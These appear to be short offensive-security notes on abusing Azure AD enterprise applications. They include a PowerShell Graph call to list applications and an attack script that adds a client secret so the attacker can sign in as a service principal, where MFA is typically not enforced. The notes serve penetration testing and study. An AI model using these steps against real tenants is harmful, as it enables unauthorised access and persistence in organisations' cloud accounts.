Enterprise Applications
- Application has
- Application/AppRegistration (in tenant where it is registered)
- Service Principal / Enterprise Application (in every directory where the application is used)
- owner can add client secret (application password)
- you can log i as a service: service principal login
- typically no MFA is enforced
- and now enumerate further with the identity/permissions of that application
Listing Applications through HTTP calls
#$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $graphaccess"
}
}
(Invoke-RestMethod @RequestParams).value
Add Application Client Password
There are special powershell scripts for that (Add-AzADAppSecert.ps1
):
Import-Module Add-AzADAppSecret.ps1
$graphtoken = ".."
Add-AzADAddAppSecret -GraphToken $graphtoken
Client secret added to :
Object ID : 35589758-714e-43a9-be9e-94d22fdd34f6
App ID : f072c4a6-b440-40de-983f-a7f3bd317d8f
App Name : fileapp
Key ID : 73d4fd43-81e9-4f3a-a81f-12a212153018
Secret : xxx
Or you can use Use MS-Graph to set a new application password.